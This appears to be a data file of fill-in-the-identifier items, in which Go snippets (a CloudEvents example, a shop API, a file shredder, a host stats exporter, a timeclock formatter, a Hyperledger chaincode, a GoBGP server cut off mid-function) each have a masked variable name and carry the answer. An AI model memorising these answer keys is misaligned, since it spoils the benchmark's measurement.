Amount: ""$100"", User: ""user1"", UserGroup: ""ceprototesters"", } e1 := event.New() if err := ceproto.Marshal(et1, &e1); err != nil { log.Println(err) os.Exit(1) } log.Printf(""File upload event: %+v\n"", e1) e2 := event.New() if err := ceproto.Marshal( [MASK] , &e2); err != nil { log.Println(err) os.Exit(1) } log.Printf(""Paymend received event: %+v\n"", e2) // Output // 2020/05/06 21:10:10 File upload event: Validation: valid // Context Attributes, // specversion: 1.0 // type: com.example.samplesvc.FileUploadedEvent // source: com.example.samplesvc // subject: com.example.samplesvc.FileUploadedEvent // id: f5c3f979-c822-47f3-aec4-724180a45230 // datacontenttype: application/json // Extensions, // ext: txt // Data (binary), // { // ""name"": ""sample.txt"", // ""path"": ""/folder/foo"", // ""ext"": ""txt"" // } // 2020/05/06 21:10:10 Paymend received event: Validation: valid // Context Attributes, // specversion: 1.0 // type: com.example.samplesvc.PaymentReceivedEvent // source: com.example.samplesvc // subject: com.example.samplesvc.PaymentReceivedEvent // id: b5dfc798-7021-44ca-aa10-1d687bcdc50e // datacontenttype: application/json // Extensions, // user: user1 // usergroup: ceprototesters // Data (binary), // { // ""user"": ""user1"", // ""userGroup"": ""ceprototesters"", // ""amount"": ""$100"" // } } ",et2 726,"package main import ( ""fmt"" ""net/http"" ""strconv"" ""time"" ""encoding/json"" ""github.com/gorilla/mux"" log ""github.com/sirupsen/logrus"" ""gorm.io/gorm"" ) // StatusWriter to log response status code type StatusWriter struct { http.ResponseWriter Status int } // NewStatusResponseWriter to create a new StatusWriter handler for HTTP logging func NewStatusResponseWriter(w http.ResponseWriter) *StatusWriter { return &StatusWriter{ ResponseWriter: w, Status: http.StatusOK, } } // WriteHeader to write status code to response func (sw *StatusWriter) WriteHeader(code int) { sw.Status = code sw.ResponseWriter.WriteHeader(code) } // LoggingMiddleware to log HTTP requests func LoggingMiddleware(r *mux.Router) mux.MiddlewareFunc { return func(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { start := time.Now() sw := NewStatusResponseWriter(w) defer func() { log.Printf(""%s %s %v %d %s %s"", req.RemoteAddr, req.Method, time.Since(start), sw.Status, req.URL.Path, req.URL.RawQuery) }() next.ServeHTTP(w, req) }) } } // handle health checks func handleHealth(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, ""OK"") } // shopsHandler to expose shops over HTTP with a database connection type shopsHandler struct { db *gorm.DB } // ServeHTTP to implement the handle interface for serving shops func (h *shopsHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { var shops []Shop trx := h.db.Find(&shops) if trx.Error == nil { w.WriteHeader(http.StatusOK) w.Header().Set(""Content-Type"", ""application/json"") json.NewEncoder(w).Encode(shops) } else { w.WriteHeader(http.StatusInternalServerError) } } // shopHandler to expose shops over HTTP with a database connection type shopHandler struct { db *gorm.DB } // ServeHTTP to implement the handle interface for serving shop func (h *shopHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { w.Header().Set(""Content-Type"", ""application/json"") vars := mux.Vars(r) id := vars[""id""] var shop Shop trx := h.db.First(&shop, id) if trx.Error == nil { w.WriteHeader(http.StatusOK) json.NewEncoder(w).Encode(shop) } else { w.WriteHeader(http.StatusInternalServerError) } } // productsHandler to expose products over HTTP with a database connection type productsHandler struct { db *gorm.DB } // ServeHTTP to implement the handle interface for serving products func (h *productsHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { w.Header().Set(""Content-Type"", ""application/json"") var products []Product var trx *gorm.DB [MASK] := r.URL.Query().Get(""available"") if [MASK] != """" { available, err := strconv.ParseBool( [MASK] ) if err != nil { log.Warnf(""cannot parse available query to boolean: %s"", err) w.WriteHeader(http.StatusInternalServerError) return } trx = h.db.Preload(""Shop"").Where(map[string]interface{}{""available"": available}).Find(&products) } else { trx = h.db.Preload(""Shop"").Find(&products) } if trx.Error == nil { w.WriteHeader(http.StatusOK) json.NewEncoder(w).Encode(products) } else { w.WriteHeader(http.StatusInternalServerError) } } // productHandler to expose product over HTTP with a database connection type productHandler struct { db *gorm.DB } // ServeHTTP to implement the handle interface for serving product func (h *productHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { vars := mux.Vars(r) id := vars[""id""] var product Product trx := h.db.Preload(""Shop"").First(&product, id) if trx.Error == nil { w.WriteHeader(http.StatusOK) w.Header().Set(""Content-Type"", ""application/json"") json.NewEncoder(w).Encode(product) } else { w.WriteHeader(http.StatusInternalServerError) } } // StartAPI to handle HTTP requests func StartAPI(db *gorm.DB, config APIConfig) error { router := mux.NewRouter().StrictSlash(true) router.Path(""/health"").HandlerFunc(handleHealth) router.Path(""/shops"").Handler(&shopsHandler{db: db}) router.Path(""/shops/{id:[0-9]+}"").Handler(&shopHandler{db: db}) router.Path(""/products"").Handler(&productsHandler{db: db}) router.Path(""/products/{id:[0-9]+}"").Handler(&productHandler{db: db}) // register middlewares router.Use(LoggingMiddleware(router)) log.Printf(""starting API on %s"", config.Address) if config.Certfile != """" && config.Keyfile != """" { return http.ListenAndServeTLS(config.Address, config.Certfile, config.Keyfile, router) } return http.ListenAndServe(config.Address, router) } ",availableFilter 727,"package goutils import ( ""fmt"" ""io/ioutil"" ""os"" ""github.com/JojiiOfficial/shred"" ) // DoesFileExist checks íf a given file exists or not func DoesFileExist(filePath string) bool { if _, err := os.Stat(filePath); err == nil { return true } return false } // ReadFileToString returns a string with the file's content. Returns """" on error func ReadFileToString(filePath string) string { var fileBytes []byte fileBytes, err := ioutil.ReadFile(filePath) if err != nil { return """" } return string(fileBytes) } // ShredderFile shreddres a given file func ShredderFile(localFile string, size int64) { shredder := shred.Shredder{} var [MASK] *shred.ShredderConf if size < 0 { s, err := os.Stat(localFile) if err != nil { fmt.Println(""File to shredder not found"") return } size = s.Size() } if size >= 1000000000 { // Size >= 1GB [MASK] = shred.NewShredderConf(&shredder, shred.WriteZeros, 1, true) } else if size >= 1000000000 { // Size >= 1GB [MASK] = shred.NewShredderConf(&shredder, shred.WriteZeros|shred.WriteRandSecure, 2, true) } else if size >= 5000 { // Size > 5kb [MASK] = shred.NewShredderConf(&shredder, shred.WriteZeros|shred.WriteRandSecure, 3, true) } else { // Size < 5kb [MASK] = shred.NewShredderConf(&shredder, shred.WriteZeros|shred.WriteRandSecure, 6, true) } // Shredder & Delete local file err := [MASK] .ShredFile(localFile) if err != nil { fmt.Println(err) // Delete file if shredder didn't err = os.Remove(localFile) if err != nil { fmt.Println(err) } } } ",shredConfig 728,"package cmd import ( ""context"" ""encoding/json"" ""fmt"" ""math"" ""net"" ""os"" ""strconv"" ""strings"" ""time"" ""github.com/shirou/gopsutil/v3/cpu"" ""github.com/shirou/gopsutil/v3/disk"" ""github.com/shirou/gopsutil/v3/host"" ""github.com/shirou/gopsutil/v3/mem"" ""golang.org/x/text/cases"" ""golang.org/x/text/language"" ""gopkg.in/alecthomas/kingpin.v2"" ""github.com/pipego/exporter/config"" ) const ( Base = 10 Bitwise = 30 Duration = 2 * time.Second Milli = 1000 ) const ( Dev = ""/dev/"" Home = ""/home"" Root = ""/"" ) var ( app = kingpin.New(""exporter"", ""pipego exporter"").Version(config.Version + ""-build-"" + config.Build) ) func Run(ctx context.Context) error { kingpin.MustParse(app.Parse(os.Args[1:])) c := config.New() c.Host = _host() c.AllocatableResource.MilliCPU, c.RequestedResource.MilliCPU = milliCPU() c.AllocatableResource.Memory, c.RequestedResource.Memory = memory() c.AllocatableResource.Storage, c.RequestedResource.Storage = storage() c.Stats.CPU, c.Stats.OS, c.Stats.Memory, c.Stats.Storage = stats(c.AllocatableResource, c.RequestedResource) export(c) return nil } func _host() string { conn, _ := net.Dial(""udp"", ""8.8.8.8:8"") defer func(conn net.Conn) { _ = conn.Close() }(conn) buf := conn.LocalAddr().(*net.UDPAddr) return strings.Split(buf.String(), "":"")[0] } func milliCPU() (alloc, request int64) { c, err := cpu.Counts(true) if err != nil { return -1, -1 } if c*Milli > math.MaxInt64 { return -1, -1 } // FIXME: Got error on MacOS 10.13.6 p, err := cpu.Percent(Duration, false) if err != nil { return -1, -1 } used := float64(c) * p[0] * 0.01 if used > math.MaxInt64 { return -1, -1 } return int64(c * Milli), int64(used * Milli) } func memory() (alloc, request int64) { v, err := mem.VirtualMemory() if err != nil { return -1, -1 } if v.Total > math.MaxInt64 || v.Used > math.MaxInt64 { return -1, -1 } return int64(v.Total), int64(v.Used) } func storage() (alloc, request int64) { helper := func(path string) bool { found := false p, _ := disk.Partitions(false) for _, item := range p { if strings.HasPrefix(item.Device, Dev) && item.Mountpoint == path { found = true break } } return found } r, err := disk.Usage(Root) if err != nil { return -1, -1 } total := r.Total used := r.Used if helper(Home) { h, err := disk.Usage(Home) if err != nil { return -1, -1 } total = h.Total used = h.Used } if total > math.MaxInt64 || used > math.MaxInt64 { return -1, -1 } return int64(total), int64(used) } func stats(alloc, req config.Resource) (_cpu config.Readable, [MASK] string, memory, storage config.Readable) { _cpu.Total = strconv.FormatInt(alloc.MilliCPU/Milli, Base) + "" CPU"" _cpu.Used = strconv.FormatInt(req.MilliCPU*100/alloc.MilliCPU, Base) + ""%"" info, _ := host.Info() caser := cases.Title(language.BrazilianPortuguese) [MASK] = fmt.Sprintf(""%s %s"", caser.String(info.Platform), info.PlatformVersion) memory.Total = strconv.FormatInt(alloc.Memory>>Bitwise, Base) + "" GB"" memory.Used = strconv.FormatInt(req.Memory>>Bitwise, Base) + "" GB"" storage.Total = strconv.FormatInt(alloc.Storage>>Bitwise, Base) + "" GB"" storage.Used = strconv.FormatInt(req.Storage>>Bitwise, Base) + "" GB"" return _cpu, [MASK] , memory, storage } func export(cfg *config.Config) { b, _ := json.MarshalIndent(cfg, """", "" "") fmt.Println(string(b)) } ",_os 729,"package timeclock import ( ""fmt"" ""strings"" ""time"" ) type TimeClock struct { Date time.Time `json:""date""` StartTime time.Time `json:""start_time""` EndTime time.Time `json:""end_time""` TotalHoursWorked float64 `json:""total_hours_worked""` } func FormatTimeClocksForEmail(timeClocks []TimeClock) string { var [MASK] strings.Builder for _, tc := range timeClocks { timeClockStr := fmt.Sprintf(""Data: %s\n"", tc.Date.Format(""2006-01-02"")) timeClockStr += fmt.Sprintf(""Hora de início: %s\n"", tc.StartTime.Format(""15:04:05"")) timeClockStr += fmt.Sprintf(""Hora de término: %s\n"", tc.EndTime.Format(""15:04:05"")) timeClockStr += fmt.Sprintf(""Total de horas trabalhadas: %.2f\n"", tc.TotalHoursWorked) [MASK] .WriteString(timeClockStr) [MASK] .WriteString(""\n"") } return [MASK] .String() } ",builder 730,"package main import ( ""encoding/json"" ""fmt"" ""time"" ""github.com/hyperledger/fabric-contract-api-go/contractapi"" ) // ApplicantContract defines the Smart Contract structure type ApplicantContract struct { contractapi.Contract } // Applicant defines the structure for an applicant type Applicant struct { Name string `json:""name""` Email string `json:""email""` PhoneNumber string `json:""phoneNumber""` Passport string `json:""passport""` EducationalCertificate string `json:""educationalCertificate""` Timestamp string `json:""timestamp""` } // RegisterApplicant adds a new applicant to the ledger func (a *ApplicantContract) RegisterApplicant(ctx contractapi.TransactionContextInterface, name, email, phoneNumber, passport, [MASK] string) error { // Check if the applicant already exists exists, err := a.ApplicantExists(ctx, passport) if err != nil { return err } if exists { return fmt.Errorf(""an applicant with passport %s already exists"", passport) } // Create a new applicant instance applicant := Applicant{ Name: name, Email: email, PhoneNumber: phoneNumber, Passport: passport, EducationalCertificate: [MASK] , Timestamp: time.Now().Format(time.RFC3339), } // Convert to JSON and save to ledger applicantJSON, err := json.Marshal(applicant) if err != nil { return err } return ctx.GetStub().PutState(passport, applicantJSON) } // GetApplicant retrieves an applicant from the ledger by passport func (a *ApplicantContract) GetApplicant(ctx contractapi.TransactionContextInterface, passport string) (*Applicant, error) { applicantJSON, err := ctx.GetStub().GetState(passport) if err != nil { return nil, err } if applicantJSON == nil { return nil, fmt.Errorf(""applicant with passport %s does not exist"", passport) } var applicant Applicant err = json.Unmarshal(applicantJSON, &applicant) if err != nil { return nil, err } return &applicant, nil } // GetAllApplicants to get all the Applicants from ledger func (a *ApplicantContract) GetAllApplicants(ctx contractapi.TransactionContextInterface) ([]*Applicant, error) { iterator, err := ctx.GetStub().GetStateByRange("""", """") if err != nil { return nil, err } defer iterator.Close() var applicants []*Applicant for iterator.HasNext() { response, err := iterator.Next() if err != nil { return nil, err } var applicant Applicant if err := json.Unmarshal(response.Value, &applicant); err != nil { return nil, err } applicants = append(applicants, &applicant) } return applicants, nil } // ApplicantExists checks if an applicant exists in the ledger func (a *ApplicantContract) ApplicantExists(ctx contractapi.TransactionContextInterface, passport string) (bool, error) { applicantJSON, err := ctx.GetStub().GetState(passport) if err != nil { return false, err } return applicantJSON != nil, nil } func main() { chaincode, err := contractapi.NewChaincode(&ApplicantContract{}) if err != nil { fmt.Printf(""Error creating applicant chaincode: %s"", err.Error()) return } if err := chaincode.Start(); err != nil { fmt.Printf(""Error starting applicant chaincode: %s"", err.Error()) } } ",certHash 731,"// Copyright (C) 2014-2016 Nippon Telegraph and Telephone Corporation. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or // implied. // See the License for the specific language governing permissions and // limitations under the License. package server import ( ""bytes"" ""context"" ""fmt"" ""net"" ""reflect"" ""strconv"" ""sync"" ""syscall"" ""time"" ""github.com/eapache/channels"" uuid ""github.com/google/uuid"" log ""github.com/sirupsen/logrus"" ""google.golang.org/grpc"" api ""github.com/edgewall-lab/gobgp/api"" ""github.com/edgewall-lab/gobgp/helpers/pkg/apiutil"" ""github.com/edgewall-lab/gobgp/helpers/pkg/config"" ""github.com/edgewall-lab/gobgp/helpers/pkg/table"" ""github.com/edgewall-lab/gobgp/helpers/pkg/zebra"" ""github.com/edgewall-lab/gobgp/pkg/packet/bgp"" ) type tcpListener struct { l *net.TCPListener ch chan struct{} } func (l *tcpListener) Close() error { if err := l.l.Close(); err != nil { return err } <-l.ch return nil } // avoid mapped IPv6 address func newTCPListener(address string, port uint32, bindToDev string, ch chan *net.TCPConn) (*tcpListener, error) { proto := ""tcp4"" family := syscall.AF_INET if ip := net.ParseIP(address); ip == nil { return nil, fmt.Errorf(""can't listen on %s"", address) } else if ip.To4() == nil { proto = ""tcp6"" family = syscall.AF_INET6 } addr := net.JoinHostPort(address, strconv.Itoa(int(port))) var lc net.ListenConfig lc.Control = func(network, address string, c syscall.RawConn) error { if bindToDev != """" { err := setBindToDevSockopt(c, bindToDev) if err != nil { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": addr, ""BindToDev"": bindToDev, }).Warnf(""failed to bind Listener to device (%s): %s"", bindToDev, err) return err } } // Note: Set TTL=255 for incoming connection listener in order to accept // connection in case for the neighbor has TTL Security settings. err := setsockoptIpTtl(c, family, 255) if err != nil { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": addr, }).Warnf(""cannot set TTL(=%d) for TCPListener: %s"", 255, err) } return nil } l, err := lc.Listen(context.Background(), proto, addr) if err != nil { return nil, err } listener, ok := l.(*net.TCPListener) if !ok { err = fmt.Errorf(""unexpected connection listener (not for TCP)"") return nil, err } closeCh := make(chan struct{}) go func() error { for { conn, err := listener.AcceptTCP() if err != nil { close(closeCh) log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Error"": err, }).Warn(""Failed to AcceptTCP"") return err } ch <- conn } }() return &tcpListener{ l: listener, ch: closeCh, }, nil } type options struct { grpcAddress string grpcOption []grpc.ServerOption } type ServerOption func(*options) func GrpcListenAddress(addr string) ServerOption { return func(o *options) { o.grpcAddress = addr } } func GrpcOption(opt []grpc.ServerOption) ServerOption { return func(o *options) { o.grpcOption = opt } } type BgpServer struct { bgpConfig config.Bgp acceptCh chan *net.TCPConn incomings []*channels.InfiniteChannel mgmtCh chan *mgmtOp policy *table.RoutingPolicy listeners []*tcpListener neighborMap map[string]*peer peerGroupMap map[string]*peerGroup globalRib *table.TableManager rsRib *table.TableManager roaManager *roaManager shutdownWG *sync.WaitGroup watcherMap map[watchEventType][]*watcher zclient *zebraClient bmpManager *bmpClientManager mrtManager *mrtManager roaTable *table.ROATable uuidMap map[string]uuid.UUID } func NewBgpServer(opt ...ServerOption) *BgpServer { opts := options{} for _, o := range opt { o(&opts) } roaTable := table.NewROATable() s := &BgpServer{ neighborMap: make(map[string]*peer), peerGroupMap: make(map[string]*peerGroup), policy: table.NewRoutingPolicy(), mgmtCh: make(chan *mgmtOp, 1), watcherMap: make(map[watchEventType][]*watcher), uuidMap: make(map[string]uuid.UUID), roaManager: newROAManager(roaTable), roaTable: roaTable, } s.bmpManager = newBmpClientManager(s) s.mrtManager = newMrtManager(s) if len(opts.grpcAddress) != 0 { grpc.EnableTracing = false api := newAPIserver(s, grpc.NewServer(opts.grpcOption...), opts.grpcAddress) go func() { if err := api.serve(); err != nil { log.Fatalf(""failed to listen grpc port: %s"", err) } }() } return s } func (s *BgpServer) addIncoming(ch *channels.InfiniteChannel) { s.incomings = append(s.incomings, ch) } func (s *BgpServer) delIncoming(ch *channels.InfiniteChannel) { for i, c := range s.incomings { if c == ch { s.incomings = append(s.incomings[:i], s.incomings[i+1:]...) return } } } func (s *BgpServer) listListeners(addr string) []*net.TCPListener { list := make([]*net.TCPListener, 0, len(s.listeners)) rhs := net.ParseIP(addr).To4() != nil for _, l := range s.listeners { host, _, _ := net.SplitHostPort(l.l.Addr().String()) lhs := net.ParseIP(host).To4() != nil if lhs == rhs { list = append(list, l.l) } } return list } func (s *BgpServer) active() error { if s.bgpConfig.Global.Config.As == 0 { return fmt.Errorf(""bgp server hasn't started yet"") } return nil } type mgmtOp struct { f func() error errCh chan error checkActive bool // check BGP global setting is configured before calling f() } func (s *BgpServer) handleMGMTOp(op *mgmtOp) { if op.checkActive { if err := s.active(); err != nil { op.errCh <- err return } } op.errCh <- op.f() } func (s *BgpServer) mgmtOperation(f func() error, checkActive bool) (err error) { ch := make(chan error) defer func() { err = <-ch }() s.mgmtCh <- &mgmtOp{ f: f, errCh: ch, checkActive: checkActive, } return } func (s *BgpServer) passConnToPeer(conn *net.TCPConn) { host, _, _ := net.SplitHostPort(conn.RemoteAddr().String()) ipaddr, _ := net.ResolveIPAddr(""ip"", host) remoteAddr := ipaddr.String() peer, found := s.neighborMap[remoteAddr] if found { peer.fsm.lock.RLock() adminStateNotUp := peer.fsm.adminState != adminStateUp peer.fsm.lock.RUnlock() if adminStateNotUp { peer.fsm.lock.RLock() log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Remote Addr"": remoteAddr, ""Admin State"": peer.fsm.adminState, }).Debug(""New connection for non admin-state-up peer"") peer.fsm.lock.RUnlock() conn.Close() return } peer.fsm.lock.RLock() localAddr := peer.fsm.pConf.Transport.Config.LocalAddress bindInterface := peer.fsm.pConf.Transport.Config.BindInterface peer.fsm.lock.RUnlock() localAddrValid := func(laddr string) bool { if laddr == ""0.0.0.0"" || laddr == ""::"" { return true } l := conn.LocalAddr() if l == nil { // already closed return false } host, _, _ := net.SplitHostPort(l.String()) if host != laddr && bindInterface == """" { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": remoteAddr, ""Configured addr"": laddr, ""Addr"": host, ""BindInterface"": bindInterface, }).Info(""Mismatched local address"") return false } return true }(localAddr) if !localAddrValid { conn.Close() return } log.WithFields(log.Fields{ ""Topic"": ""Peer"", }).Debugf(""Accepted a new passive connection from:%s"", remoteAddr) peer.PassConn(conn) } else if pg := s.matchLongestDynamicNeighborPrefix(remoteAddr); pg != nil { log.WithFields(log.Fields{ ""Topic"": ""Peer"", }).Debugf(""Accepted a new dynamic neighbor from:%s"", remoteAddr) rib := s.globalRib if pg.Conf.RouteServer.Config.RouteServerClient { rib = s.rsRib } peer := newDynamicPeer(&s.bgpConfig.Global, remoteAddr, pg.Conf, rib, s.policy) if peer == nil { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": remoteAddr, }).Infof(""Can't create new Dynamic Peer"") conn.Close() return } s.addIncoming(peer.fsm.incomingCh) peer.fsm.lock.RLock() policy := peer.fsm.pConf.ApplyPolicy peer.fsm.lock.RUnlock() s.policy.SetPeerPolicy(peer.ID(), policy) s.neighborMap[remoteAddr] = peer peer.startFSMHandler() s.broadcastPeerState(peer, bgp.BGP_FSM_ACTIVE, nil) peer.PassConn(conn) } else { log.WithFields(log.Fields{ ""Topic"": ""Peer"", }).Infof(""Can't find configuration for a new passive connection from:%s"", remoteAddr) conn.Close() } } const firstPeerCaseIndex = 3 func (s *BgpServer) Serve() { s.listeners = make([]*tcpListener, 0, 2) handlefsmMsg := func(e *fsmMsg) { fsm := e.fsm if fsm.h.ctx.Err() != nil { // canceled addr := fsm.pConf.State.NeighborAddress state := fsm.state fsm.h.wg.Wait() log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": addr, ""State"": state, }).Debug(""freed fsm.h"") if fsm.state == bgp.BGP_FSM_ESTABLISHED { s.notifyWatcher(watchEventTypePeerState, &watchEventPeerState{ PeerAS: fsm.peerInfo.AS, PeerAddress: fsm.peerInfo.Address, PeerID: fsm.peerInfo.ID, State: bgp.BGP_FSM_IDLE, Timestamp: time.Now(), StateReason: &fsmStateReason{ Type: fsmDeConfigured, }, }) } cleanInfiniteChannel(fsm.outgoingCh) cleanInfiniteChannel(fsm.incomingCh) s.delIncoming(fsm.incomingCh) if s.shutdownWG != nil && len(s.incomings) == 0 { s.shutdownWG.Done() } return } peer, found := s.neighborMap[e.MsgSrc] if !found { log.WithFields(log.Fields{ ""Topic"": ""Peer"", }).Warnf(""Can't find the neighbor %s"", e.MsgSrc) return } s.handleFSMMessage(peer, e) } for { cases := make([]reflect.SelectCase, firstPeerCaseIndex+len(s.incomings)) cases[0] = reflect.SelectCase{ Dir: reflect.SelectRecv, Chan: reflect.ValueOf(s.mgmtCh), } cases[1] = reflect.SelectCase{ Dir: reflect.SelectRecv, Chan: reflect.ValueOf(s.acceptCh), } cases[2] = reflect.SelectCase{ Dir: reflect.SelectRecv, Chan: reflect.ValueOf(s.roaManager.ReceiveROA()), } for i := firstPeerCaseIndex; i < len(cases); i++ { cases[i] = reflect.SelectCase{ Dir: reflect.SelectRecv, Chan: reflect.ValueOf(s.incomings[i-firstPeerCaseIndex].Out()), } } chosen, value, ok := reflect.Select(cases) switch chosen { case 0: op := value.Interface().(*mgmtOp) s.handleMGMTOp(op) case 1: conn := value.Interface().(*net.TCPConn) s.passConnToPeer(conn) case 2: ev := value.Interface().(*roaEvent) s.roaManager.HandleROAEvent(ev) default: // in the case of dynamic peer, handleFSMMessage closed incoming channel so // nil fsmMsg can happen here. if ok { e := value.Interface().(*fsmMsg) handlefsmMsg(e) } } } } func (s *BgpServer) matchLongestDynamicNeighborPrefix(a string) *peerGroup { ipAddr := net.ParseIP(a) longestMask := net.CIDRMask(0, 32).String() var longestPG *peerGroup for _, pg := range s.peerGroupMap { for _, d := range pg.dynamicNeighbors { _, netAddr, _ := net.ParseCIDR(d.Config.Prefix) if netAddr.Contains(ipAddr) { if netAddr.Mask.String() > longestMask || (netAddr.Mask.String() == longestMask && longestMask == net.CIDRMask(0, 32).String()) { longestMask = netAddr.Mask.String() longestPG = pg } } } } return longestPG } func sendfsmOutgoingMsg(peer *peer, paths []*table.Path, notification *bgp.BGPMessage, stayIdle bool) { peer.fsm.outgoingCh.In() <- &fsmOutgoingMsg{ Paths: paths, Notification: notification, StayIdle: stayIdle, } } func isASLoop(peer *peer, path *table.Path) bool { for _, as := range path.GetAsList() { if as == peer.AS() { return true } } return false } func filterpath(peer *peer, path, old *table.Path) *table.Path { if path == nil { return nil } peer.fsm.lock.RLock() _, ok := peer.fsm.rfMap[path.GetRouteFamily()] peer.fsm.lock.RUnlock() if !ok { return nil } //RFC4684 Constrained Route Distribution peer.fsm.lock.RLock() _, y := peer.fsm.rfMap[bgp.RF_RTC_UC] peer.fsm.lock.RUnlock() if y && path.GetRouteFamily() != bgp.RF_RTC_UC { ignore := true for _, ext := range path.GetExtCommunities() { for _, p := range peer.adjRibIn.PathList([]bgp.RouteFamily{bgp.RF_RTC_UC}, true) { rt := p.GetNlri().(*bgp.RouteTargetMembershipNLRI).RouteTarget // Note: nil RT means the default route target if rt == nil || ext.String() == rt.String() { ignore = false break } } if !ignore { break } } if ignore { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), ""Data"": path, }).Debug(""Filtered by Route Target Constraint, ignore"") return nil } } //iBGP handling if peer.isIBGPPeer() { ignore := false if !path.IsLocal() { ignore = true info := path.GetSource() //if the path comes from eBGP peer if info.AS != peer.AS() { ignore = false } if info.RouteReflectorClient { ignore = false } if peer.isRouteReflectorClient() { // RFC4456 8. Avoiding Routing Information Loops // If the local CLUSTER_ID is found in the CLUSTER_LIST, // the advertisement received SHOULD be ignored. for _, clusterID := range path.GetClusterList() { peer.fsm.lock.RLock() rrClusterID := peer.fsm.peerInfo.RouteReflectorClusterID peer.fsm.lock.RUnlock() if clusterID.Equal(rrClusterID) { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), ""ClusterID"": clusterID, ""Data"": path, }).Debug(""cluster list path attribute has local cluster id, ignore"") return nil } } ignore = false } } if ignore { if !path.IsWithdraw && old != nil { oldSource := old.GetSource() if old.IsLocal() || oldSource.Address.String() != peer.ID() && oldSource.AS != peer.AS() { // In this case, we suppose this peer has the same prefix // received from another iBGP peer. // So we withdraw the old best which was injected locally // (from CLI or gRPC for example) in order to avoid the // old best left on peers. // Also, we withdraw the eBGP route which is the old best. // When we got the new best from iBGP, we don't advertise // the new best and need to withdraw the old best. return old.Clone(true) } } log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), ""Data"": path, }).Debug(""From same AS, ignore."") return nil } } if path = peer.filterPathFromSourcePeer(path, old); path == nil { return nil } if !peer.isRouteServerClient() && isASLoop(peer, path) { return nil } return path } func (s *BgpServer) prePolicyFilterpath(peer *peer, path, old *table.Path) (*table.Path, *table.PolicyOptions, bool) { // Special handling for RTM NLRI. if path != nil && path.GetRouteFamily() == bgp.RF_RTC_UC && !path.IsWithdraw { // If the given ""path"" is locally generated and the same with ""old"", we // assumes ""path"" was already sent before. This assumption avoids the // infinite UPDATE loop between Route Reflector and its clients. if path.IsLocal() && path.Equal(old) { peer.fsm.lock.RLock() log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.fsm.pConf.State.NeighborAddress, ""Path"": path, }).Debug(""given rtm nlri is already sent, skipping to advertise"") peer.fsm.lock.RUnlock() return nil, nil, true } if old != nil && old.IsLocal() { // We assumes VRF with the specific RT is deleted. path = old.Clone(true) } else if peer.isRouteReflectorClient() { // We need to send the path even if the peer is originator of the // path in order to signal that the client should distribute route // with the given RT. } else { // We send a path even if it is not the best path. See comments in // (*Destination) GetChanges(). dst := peer.localRib.GetDestination(path) path = nil for _, p := range dst.GetKnownPathList(peer.TableID(), peer.AS()) { srcPeer := p.GetSource() if peer.ID() != srcPeer.Address.String() { if srcPeer.RouteReflectorClient { // The path from a RR client is preferred than others // for the case that RR and non RR client peering // (e.g., peering of different RR clusters). path = p break } else if path == nil { path = p } } } } } // only allow vpnv4 and vpnv6 paths to be advertised to VRFed neighbors. // also check we can import this path using table.CanImportToVrf() // if we can, make it local path by calling (*Path).ToLocal() peer.fsm.lock.RLock() peerVrf := peer.fsm.pConf.Config.Vrf peer.fsm.lock.RUnlock() if path != nil && peerVrf != """" { if f := path.GetRouteFamily(); f != bgp.RF_IPv4_VPN && f != bgp.RF_IPv6_VPN && f != bgp.RF_FS_IPv4_VPN && f != bgp.RF_FS_IPv6_VPN { return nil, nil, true } vrf := peer.localRib.Vrfs[peerVrf] if table.CanImportToVrf(vrf, path) { path = path.ToLocal() } else { return nil, nil, true } } // replace-peer-as handling peer.fsm.lock.RLock() if path != nil && !path.IsWithdraw && peer.fsm.pConf.AsPathOptions.State.ReplacePeerAs { path = path.ReplaceAS(peer.fsm.pConf.Config.LocalAs, peer.fsm.pConf.Config.PeerAs) } peer.fsm.lock.RUnlock() if path = filterpath(peer, path, old); path == nil { return nil, nil, true } peer.fsm.lock.RLock() options := &table.PolicyOptions{ Info: peer.fsm.peerInfo, OldNextHop: path.GetNexthop(), } path = table.UpdatePathAttrs(peer.fsm.gConf, peer.fsm.pConf, peer.fsm.peerInfo, path) peer.fsm.lock.RUnlock() return path, options, false } func (s *BgpServer) postFilterpath(peer *peer, path *table.Path) *table.Path { // draft-uttaro-idr-bgp-persistence-02 // 4.3. Processing LLGR_STALE Routes // // The route SHOULD NOT be advertised to any neighbor from which the // Long-lived Graceful Restart Capability has not been received. The // exception is described in the Optional Partial Deployment // Procedure section (Section 4.7). Note that this requirement // implies that such routes should be withdrawn from any such neighbor. if path != nil && !path.IsWithdraw && !peer.isLLGREnabledFamily(path.GetRouteFamily()) && path.IsLLGRStale() { // we send unnecessary withdrawn even if we didn't // sent the route. path = path.Clone(true) } // remove local-pref attribute // we should do this after applying export policy since policy may // set local-preference if path != nil && !peer.isIBGPPeer() && !peer.isRouteServerClient() { path.RemoveLocalPref() } return path } func (s *BgpServer) filterpath(peer *peer, path, old *table.Path) *table.Path { path, options, stop := s.prePolicyFilterpath(peer, path, old) if stop { return path } options.Validate = s.roaTable.Validate path = peer.policy.ApplyPolicy(peer.TableID(), table.POLICY_DIRECTION_EXPORT, path, options) // When 'path' is filtered (path == nil), check 'old' has been sent to this peer. // If it has, send withdrawal to the peer. if path == nil && old != nil { o := peer.policy.ApplyPolicy(peer.TableID(), 